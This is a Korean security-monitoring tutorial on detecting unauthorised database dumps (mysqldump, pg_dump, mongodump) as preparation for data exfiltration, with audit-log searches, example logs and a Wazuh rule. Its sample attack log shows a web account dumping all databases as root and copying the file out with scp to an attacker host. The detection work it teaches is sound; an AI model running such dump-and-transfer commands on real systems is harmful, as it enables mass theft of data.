시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 20/50편 (전체 220/450)
학습 단계: DB·대량 데이터 접근 이상
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
덤프 도구(mysqldump·pg_dump)는 DB 전체를 SQL/파일로 추출합니다. 정상적으로 백업에 쓰이지만, 공격자가 탈취한 자격증명으로 전체 DB를 덤프하면 대량 유출의 직전 단계가 됩니다.
DB 덤프 도구와 위험
mysqldump --all-databases → 전체 MySQL DB 추출
pg_dump / pg_dumpall → PostgreSQL 추출
mongodump → MongoDB 추출
SELECT ... INTO OUTFILE → 쿼리로 파일 추출
정상: 백업 시간·백업 계정의 정기 덤프
공격: 비정기·비백업 계정·전체 덤프 → 유출 준비
덤프는 백업 프로세스가 정기적으로 하는 것이 정상입니다. 비백업 주체·비정기 시간의 전체 덤프는 유출 준비 신호입니다.
| 덤프 방법 | 추출 범위 | 위험 |
|---|---|---|
mysqldump --all-databases | 전체 MySQL | 매우 높음 |
pg_dumpall | 전체 PostgreSQL | 매우 높음 |
mongodump | MongoDB | 높음 |
INTO OUTFILE | 쿼리 추출 | 높음 |
| 정기 백업 덤프 | 정상 | 정상 |
# DB 덤프 생성 탐지 (분석 방법)
# 덤프 도구 실행(백업 계정·시간 외)
sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E 'comm="(mysqldump|pg_dump|pg_dumpall|mongodump)"' | tail
# 덤프 명령줄(전체 범위 여부)
sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(mysqldump|pg_dump).*' | tail
$ (DB 덤프)
03:00 comm="mysqldump" auid=backup proctitle="mysqldump --single-transaction appdb"
→ 백업 계정이 정기 시간에 특정 DB 덤프(정상)
백업 계정이 정기 시간(03시)에 지정 DB를 덤프하는, 정상 백업 동작 상태입니다.
$ (DB 덤프)
04:00 comm="mysqldump" auid=www-data proctitle="mysqldump --all-databases"
04:02 comm="scp" /tmp/all.sql → 외부
DB 덤프 유출 흐름입니다(가상의 예시 로그).
type=SYSCALL comm="mysqldump" auid=www-data key="data_access"
type=PROCTITLE proctitle=mysqldump --all-databases -u root
→ 웹 계정이 전체 DB 덤프(수집)
[이후] scp /tmp/all.sql attacker@외부 (유출, E32)
| 관찰 | 해석 |
|---|---|
| mysqldump --all | 전체 추출 |
| auid=www-data | 비백업 주체 |
| 이후 scp | 외부 유출 |
| 04:00 | 비정기 |
덤프(수집) → 전송(유출)을 세션으로 연계하면 대량 유출을 명확히 포착합니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,data_access,">
<rule id="104190" level="12">
<if_sid>104000</if_sid>
<field name="audit.comm" type="pcre2">^(mysqldump|pg_dump|pg_dumpall|mongodump|mariadb-dump)$</field>
<field name="audit.auid" type="pcre2">^(?!backup|root-backup)[a-z0-9]+$</field>
<description>비백업 주체의 DB 덤프 생성(유출 준비)</description>
<mitre><id>T1005</id><id>T1030</id></mitre>
</rule>
</group>
정상 백업 계정·시간은 예외 처리합니다. --all-databases 등 전체 범위는 레벨을 높이고, 이후 전송을 상관합니다.
| 덤프 방법 | 범위 |
|---|---|
| mysqldump --all | 전체 MySQL |
| pg_dumpall | 전체 PostgreSQL |
| mongodump | MongoDB |
| INTO OUTFILE | 쿼리 추출 |
| 면접 포인트 | "DB 덤프는 유출 직전 수집 — 비백업·전체 범위·이후 전송이 정탐 신호" |
다음 편 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 에서는 대량 파일 읽기를 다루는 대량 파일 읽기(bulk read) 탐지를 다룹니다.
이전 편: 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점